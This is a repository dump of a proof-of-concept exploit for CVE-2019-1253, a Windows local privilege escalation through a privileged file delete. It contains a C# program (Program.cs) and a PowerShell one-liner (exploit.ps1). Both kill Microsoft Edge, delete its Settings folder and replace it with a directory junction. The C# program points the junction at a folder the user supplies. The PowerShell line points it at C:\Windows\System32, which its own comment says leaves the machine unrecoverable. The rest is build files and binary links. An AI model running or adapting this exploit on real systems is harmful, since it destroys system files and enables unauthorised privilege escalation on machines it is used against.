├── PrivilegedFileDelete.sln
├── PrivilegedFileDelete
├── App.config
├── PrivilegedFileDelete.csproj
├── Program.cs
├── Properties
│ └── AssemblyInfo.cs
├── bin
│ ├── Debug
│ │ ├── PrivilegedFileDelete.exe
│ │ ├── PrivilegedFileDelete.exe.config
│ │ └── PrivilegedFileDelete.pdb
│ └── Release
│ │ ├── PrivilegedFileDelete.exe
│ │ ├── PrivilegedFileDelete.exe.config
│ │ └── PrivilegedFileDelete.pdb
└── obj
│ ├── Debug
│ ├── DesignTimeResolveAssemblyReferencesInput.cache
│ ├── PrivilegedFileDelete.csproj.CoreCompileInputs.cache
│ ├── PrivilegedFileDelete.csproj.FileListAbsolute.txt
│ ├── PrivilegedFileDelete.csprojAssemblyReference.cache
│ ├── PrivilegedFileDelete.exe
│ └── PrivilegedFileDelete.pdb
│ └── Release
│ ├── DesignTimeResolveAssemblyReferencesInput.cache
│ ├── PrivilegedFileDelete.csproj.CoreCompileInputs.cache
│ ├── PrivilegedFileDelete.csproj.FileListAbsolute.txt
│ ├── PrivilegedFileDelete.exe
│ └── PrivilegedFileDelete.pdb
└── exploit.ps1
/PrivilegedFileDelete.sln:
--------------------------------------------------------------------------------
1 |
2 | Microsoft Visual Studio Solution File, Format Version 12.00
3 | # Visual Studio 15
4 | VisualStudioVersion = 15.0.28307.572
5 | MinimumVisualStudioVersion = 10.0.40219.1
6 | Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "PrivilegedFileDelete", "PrivilegedFileDelete\PrivilegedFileDelete.csproj", "{909736F1-25F7-40F5-8DD7-110B56BC4871}"
7 | EndProject
8 | Global
9 | GlobalSection(SolutionConfigurationPlatforms) = preSolution
10 | Debug|Any CPU = Debug|Any CPU
11 | Release|Any CPU = Release|Any CPU
12 | EndGlobalSection
13 | GlobalSection(ProjectConfigurationPlatforms) = postSolution
14 | {909736F1-25F7-40F5-8DD7-110B56BC4871}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
15 | {909736F1-25F7-40F5-8DD7-110B56BC4871}.Debug|Any CPU.Build.0 = Debug|Any CPU
16 | {909736F1-25F7-40F5-8DD7-110B56BC4871}.Release|Any CPU.ActiveCfg = Release|Any CPU
17 | {909736F1-25F7-40F5-8DD7-110B56BC4871}.Release|Any CPU.Build.0 = Release|Any CPU
18 | EndGlobalSection
19 | GlobalSection(SolutionProperties) = preSolution
20 | HideSolutionNode = FALSE
21 | EndGlobalSection
22 | GlobalSection(ExtensibilityGlobals) = postSolution
23 | SolutionGuid = {CED93BC8-8372-453D-9DD3-B9FD2E97AD37}
24 | EndGlobalSection
25 | EndGlobal
26 |
--------------------------------------------------------------------------------
/PrivilegedFileDelete/App.config:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
--------------------------------------------------------------------------------
/PrivilegedFileDelete/PrivilegedFileDelete.csproj:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 | Debug
6 | AnyCPU
7 | {909736F1-25F7-40F5-8DD7-110B56BC4871}
8 | Exe
9 | PrivilegedFileDelete
10 | PrivilegedFileDelete
11 | v4.6.1
12 | 512
13 | true
14 | true
15 |
16 |
17 | AnyCPU
18 | true
19 | full
20 | false
21 | bin\Debug\
22 | DEBUG;TRACE
23 | prompt
24 | 4
25 |
26 |
27 | AnyCPU
28 | pdbonly
29 | true
30 | bin\Release\
31 | TRACE
32 | prompt
33 | 4
34 |
35 |
36 |
37 |
38 |
39 |
40 |
41 |
42 |
43 |
44 |
45 |
46 |
47 |
48 |
49 |
50 |
51 |
52 |
53 |
--------------------------------------------------------------------------------
/PrivilegedFileDelete/Program.cs:
--------------------------------------------------------------------------------
1 | using System;
2 | using System.Collections.Generic;
3 | using System.Diagnostics;
4 | using System.IO;
5 | using System.Linq;
6 | using System.Text;
7 | using System.Threading.Tasks;
8 |
9 | namespace PrivilegedFileDelete
10 | {
11 | class Program
12 | {
13 | static void symlink(string folderPath, string targetpath)
14 | {
15 | Console.WriteLine("[!] Creating Directory Junction with target: " + targetpath);
16 | System.Diagnostics.Process process2 = new System.Diagnostics.Process();
17 | System.Diagnostics.ProcessStartInfo startInfo1 = new System.Diagnostics.ProcessStartInfo();
18 | startInfo1.WindowStyle = System.Diagnostics.ProcessWindowStyle.Hidden;
19 | startInfo1.FileName = "cmd.exe";
20 | startInfo1.Arguments = "/C mklink /J \"" + folderPath + "\" \"" + targetpath + "\"";
21 | process2.StartInfo = startInfo1;
22 | process2.Start();
23 | }
24 | static void killEdge()
25 | {
26 | Console.WriteLine("[!] Killing Microsoft Edge [!]");
27 | System.Diagnostics.Process process = new System.Diagnostics.Process();
28 | System.Diagnostics.ProcessStartInfo startInfo = new System.Diagnostics.ProcessStartInfo();
29 | startInfo.WindowStyle = System.Diagnostics.ProcessWindowStyle.Hidden;
30 | startInfo.FileName = "cmd.exe";
31 | startInfo.Arguments = "/C taskkill /F /IM MicrosoftEdge.exe";
32 | process.StartInfo = startInfo;
33 | process.Start();
34 |
35 |
36 | }
37 | static void Main(string[] args)
38 | {
39 | Console.WriteLine("# Privileged File/Folder Delete Privilege Escalation");
40 | Console.WriteLine("# CVE-2019-1253");
41 | Console.WriteLine("# Exploit Author: Nabeel Ahmed (@rogue_kdc)");
42 | Console.WriteLine("# Tested on: Microsoft Windows 10 x32 & x64");
43 | Console.WriteLine("# Category: Local");
44 |
45 | if (args.Length > 0 & args.Length < 2)
46 | {
47 | var pathWithEnv = @"%USERPROFILE%\AppData\Local\Packages\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\Settings";
48 | var folderPath = Environment.ExpandEnvironmentVariables(pathWithEnv);
49 | string targetpath = args[0];
50 | if (Directory.Exists(targetpath))
51 | {
52 | while (true)
53 | {
54 | Process[] pname = Process.GetProcessesByName("MicrosoftEdge");
55 | if (!(pname.Length == 0))
56 | {
57 | killEdge();
58 | }
59 | else
60 | {
61 | Console.WriteLine("[!] Microsoft Edge isn't running or it's killed [!]");
62 | break;
63 | }
64 |
65 | }
66 | while (true)
67 | {
68 | try
69 | {
70 | Directory.Delete(folderPath, true);
71 | if (Directory.Exists(folderPath))
72 | {
73 | Console.WriteLine("[!] Folder %s exists [!]", folderPath);
74 | Console.WriteLine("[!] Trying to delete Folder %s [!]", folderPath);
75 |
76 | }
77 | else
78 | {
79 | Console.WriteLine("[!] Folder doesn't exist.");
80 | Console.WriteLine("[!] Attempting to create Directory Junction");
81 | symlink(folderPath, targetpath);
82 | break;
83 | }
84 | }
85 | catch
86 | {
87 | Console.WriteLine("[!] Folder doesn't exist.");
88 | Console.WriteLine("[!] Attempting to create Directory Junction");
89 | symlink(folderPath, targetpath);
90 | break;
91 | }
92 |
93 | }
94 |
95 | Console.WriteLine("[!] Triggering vulnerability ... [!] ");
96 | System.Diagnostics.Process process2 = new System.Diagnostics.Process();
97 | System.Diagnostics.ProcessStartInfo startInfo1 = new System.Diagnostics.ProcessStartInfo();
98 | startInfo1.WindowStyle = System.Diagnostics.ProcessWindowStyle.Hidden;
99 | startInfo1.FileName = "cmd.exe";
100 | startInfo1.Arguments = "/C start microsoft-edge:";
101 | process2.StartInfo = startInfo1;
102 | process2.Start();
103 | Console.WriteLine("[!] Triggering vulnerability ... [!] ");
104 | Console.WriteLine("[!] Files are now being deleted [!] ");
105 | }
106 | else
107 | {
108 | Console.WriteLine("[!] Target folder doesn't exist [!] ");
109 | }
110 | }
111 | else
112 | {
113 | Console.WriteLine("-------------------------------------------------");
114 | Console.WriteLine("[+] Usage: exploit.exe ");
115 | Console.WriteLine("-------------------------------------------------");
116 | Console.WriteLine("[!] This exploit can be very destructive [!] ");
117 | Console.WriteLine("[!] Use with caution [!] ");
118 | Console.WriteLine("-------------------------------------------------");
119 | if (args.Length >= 2)
120 | {
121 | Console.WriteLine("[!] Looks like you forgot to put quotes around your path!!");
122 | }
123 |
124 | }
125 |
126 | }
127 | }
128 | }
129 |
--------------------------------------------------------------------------------
/PrivilegedFileDelete/Properties/AssemblyInfo.cs:
--------------------------------------------------------------------------------
1 | using System.Reflection;
2 | using System.Runtime.CompilerServices;
3 | using System.Runtime.InteropServices;
4 |
5 | // General Information about an assembly is controlled through the following
6 | // set of attributes. Change these attribute values to modify the information
7 | // associated with an assembly.
8 | [assembly: AssemblyTitle("PrivilegedFileDelete")]
9 | [assembly: AssemblyDescription("")]
10 | [assembly: AssemblyConfiguration("")]
11 | [assembly: AssemblyCompany("")]
12 | [assembly: AssemblyProduct("PrivilegedFileDelete")]
13 | [assembly: AssemblyCopyright("Copyright © 2019")]
14 | [assembly: AssemblyTrademark("")]
15 | [assembly: AssemblyCulture("")]
16 |
17 | // Setting ComVisible to false makes the types in this assembly not visible
18 | // to COM components. If you need to access a type in this assembly from
19 | // COM, set the ComVisible attribute to true on that type.
20 | [assembly: ComVisible(false)]
21 |
22 | // The following GUID is for the ID of the typelib if this project is exposed to COM
23 | [assembly: Guid("909736f1-25f7-40f5-8dd7-110b56bc4871")]
24 |
25 | // Version information for an assembly consists of the following four values:
26 | //
27 | // Major Version
28 | // Minor Version
29 | // Build Number
30 | // Revision
31 | //
32 | // You can specify all the values or you can default the Build and Revision Numbers
33 | // by using the '*' as shown below:
34 | // [assembly: AssemblyVersion("1.0.*")]
35 | [assembly: AssemblyVersion("1.0.0.0")]
36 | [assembly: AssemblyFileVersion("1.0.0.0")]
37 |
--------------------------------------------------------------------------------
/PrivilegedFileDelete/bin/Debug/PrivilegedFileDelete.exe:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/rogue-kdc/CVE-2019-1253/a82569a461c3ca97021ea51d40f8b045dc7885c3/PrivilegedFileDelete/bin/Debug/PrivilegedFileDelete.exe
--------------------------------------------------------------------------------
/PrivilegedFileDelete/bin/Debug/PrivilegedFileDelete.exe.config:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
--------------------------------------------------------------------------------
/PrivilegedFileDelete/bin/Debug/PrivilegedFileDelete.pdb:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/rogue-kdc/CVE-2019-1253/a82569a461c3ca97021ea51d40f8b045dc7885c3/PrivilegedFileDelete/bin/Debug/PrivilegedFileDelete.pdb
--------------------------------------------------------------------------------
/PrivilegedFileDelete/bin/Release/PrivilegedFileDelete.exe:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/rogue-kdc/CVE-2019-1253/a82569a461c3ca97021ea51d40f8b045dc7885c3/PrivilegedFileDelete/bin/Release/PrivilegedFileDelete.exe
--------------------------------------------------------------------------------
/PrivilegedFileDelete/bin/Release/PrivilegedFileDelete.exe.config:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
--------------------------------------------------------------------------------
/PrivilegedFileDelete/bin/Release/PrivilegedFileDelete.pdb:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/rogue-kdc/CVE-2019-1253/a82569a461c3ca97021ea51d40f8b045dc7885c3/PrivilegedFileDelete/bin/Release/PrivilegedFileDelete.pdb
--------------------------------------------------------------------------------
/PrivilegedFileDelete/obj/Debug/DesignTimeResolveAssemblyReferencesInput.cache:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/rogue-kdc/CVE-2019-1253/a82569a461c3ca97021ea51d40f8b045dc7885c3/PrivilegedFileDelete/obj/Debug/DesignTimeResolveAssemblyReferencesInput.cache
--------------------------------------------------------------------------------
/PrivilegedFileDelete/obj/Debug/PrivilegedFileDelete.csproj.CoreCompileInputs.cache:
--------------------------------------------------------------------------------
1 | f14a379f23877c836ecb060c59692e414c9d76b1
2 |
--------------------------------------------------------------------------------
/PrivilegedFileDelete/obj/Debug/PrivilegedFileDelete.csproj.FileListAbsolute.txt:
--------------------------------------------------------------------------------
1 | C:\Users\Nabeel\Documents\R&D\Windows\Windows Apps LPE\File Delete\exploit\PrivilegedFileDelete\PrivilegedFileDelete\bin\Debug\PrivilegedFileDelete.exe.config
2 | C:\Users\Nabeel\Documents\R&D\Windows\Windows Apps LPE\File Delete\exploit\PrivilegedFileDelete\PrivilegedFileDelete\bin\Debug\PrivilegedFileDelete.exe
3 | C:\Users\Nabeel\Documents\R&D\Windows\Windows Apps LPE\File Delete\exploit\PrivilegedFileDelete\PrivilegedFileDelete\bin\Debug\PrivilegedFileDelete.pdb
4 | C:\Users\Nabeel\Documents\R&D\Windows\Windows Apps LPE\File Delete\exploit\PrivilegedFileDelete\PrivilegedFileDelete\obj\Debug\PrivilegedFileDelete.csprojAssemblyReference.cache
5 | C:\Users\Nabeel\Documents\R&D\Windows\Windows Apps LPE\File Delete\exploit\PrivilegedFileDelete\PrivilegedFileDelete\obj\Debug\PrivilegedFileDelete.csproj.CoreCompileInputs.cache
6 | C:\Users\Nabeel\Documents\R&D\Windows\Windows Apps LPE\File Delete\exploit\PrivilegedFileDelete\PrivilegedFileDelete\obj\Debug\PrivilegedFileDelete.exe
7 | C:\Users\Nabeel\Documents\R&D\Windows\Windows Apps LPE\File Delete\exploit\PrivilegedFileDelete\PrivilegedFileDelete\obj\Debug\PrivilegedFileDelete.pdb
8 |
--------------------------------------------------------------------------------
/PrivilegedFileDelete/obj/Debug/PrivilegedFileDelete.csprojAssemblyReference.cache:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/rogue-kdc/CVE-2019-1253/a82569a461c3ca97021ea51d40f8b045dc7885c3/PrivilegedFileDelete/obj/Debug/PrivilegedFileDelete.csprojAssemblyReference.cache
--------------------------------------------------------------------------------
/PrivilegedFileDelete/obj/Debug/PrivilegedFileDelete.exe:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/rogue-kdc/CVE-2019-1253/a82569a461c3ca97021ea51d40f8b045dc7885c3/PrivilegedFileDelete/obj/Debug/PrivilegedFileDelete.exe
--------------------------------------------------------------------------------
/PrivilegedFileDelete/obj/Debug/PrivilegedFileDelete.pdb:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/rogue-kdc/CVE-2019-1253/a82569a461c3ca97021ea51d40f8b045dc7885c3/PrivilegedFileDelete/obj/Debug/PrivilegedFileDelete.pdb
--------------------------------------------------------------------------------
/PrivilegedFileDelete/obj/Release/DesignTimeResolveAssemblyReferencesInput.cache:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/rogue-kdc/CVE-2019-1253/a82569a461c3ca97021ea51d40f8b045dc7885c3/PrivilegedFileDelete/obj/Release/DesignTimeResolveAssemblyReferencesInput.cache
--------------------------------------------------------------------------------
/PrivilegedFileDelete/obj/Release/PrivilegedFileDelete.csproj.CoreCompileInputs.cache:
--------------------------------------------------------------------------------
1 | f14a379f23877c836ecb060c59692e414c9d76b1
2 |
--------------------------------------------------------------------------------
/PrivilegedFileDelete/obj/Release/PrivilegedFileDelete.csproj.FileListAbsolute.txt:
--------------------------------------------------------------------------------
1 | C:\Users\Nabeel\Documents\R&D\Windows\Windows Apps LPE\File Delete\exploit\PrivilegedFileDelete\PrivilegedFileDelete\bin\Release\PrivilegedFileDelete.exe.config
2 | C:\Users\Nabeel\Documents\R&D\Windows\Windows Apps LPE\File Delete\exploit\PrivilegedFileDelete\PrivilegedFileDelete\bin\Release\PrivilegedFileDelete.exe
3 | C:\Users\Nabeel\Documents\R&D\Windows\Windows Apps LPE\File Delete\exploit\PrivilegedFileDelete\PrivilegedFileDelete\bin\Release\PrivilegedFileDelete.pdb
4 | C:\Users\Nabeel\Documents\R&D\Windows\Windows Apps LPE\File Delete\exploit\PrivilegedFileDelete\PrivilegedFileDelete\obj\Release\PrivilegedFileDelete.csproj.CoreCompileInputs.cache
5 | C:\Users\Nabeel\Documents\R&D\Windows\Windows Apps LPE\File Delete\exploit\PrivilegedFileDelete\PrivilegedFileDelete\obj\Release\PrivilegedFileDelete.exe
6 | C:\Users\Nabeel\Documents\R&D\Windows\Windows Apps LPE\File Delete\exploit\PrivilegedFileDelete\PrivilegedFileDelete\obj\Release\PrivilegedFileDelete.pdb
7 |
--------------------------------------------------------------------------------
/PrivilegedFileDelete/obj/Release/PrivilegedFileDelete.exe:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/rogue-kdc/CVE-2019-1253/a82569a461c3ca97021ea51d40f8b045dc7885c3/PrivilegedFileDelete/obj/Release/PrivilegedFileDelete.exe
--------------------------------------------------------------------------------
/PrivilegedFileDelete/obj/Release/PrivilegedFileDelete.pdb:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/rogue-kdc/CVE-2019-1253/a82569a461c3ca97021ea51d40f8b045dc7885c3/PrivilegedFileDelete/obj/Release/PrivilegedFileDelete.pdb
--------------------------------------------------------------------------------
/exploit.ps1:
--------------------------------------------------------------------------------
1 | <#
2 | Use it responsibly, if exploit is used AS IS, it will destroy your machine and make it unrecoverable.
3 | This exploit can be used for privilege escalation as well as permanent DoS!!!
4 | I warned you :)
5 | #>
6 | Get-Process -Name MicrosoftEdge | Stop-Process;sleep 2; remove-item "$env:localappdata\packages\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\Settings" -recurse -force; New-Item -Path "$env:localappdata\packages\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\Settings" -ItemType Junction -Value "C:\Windows\System32"; start microsoft-edge:
7 |
--------------------------------------------------------------------------------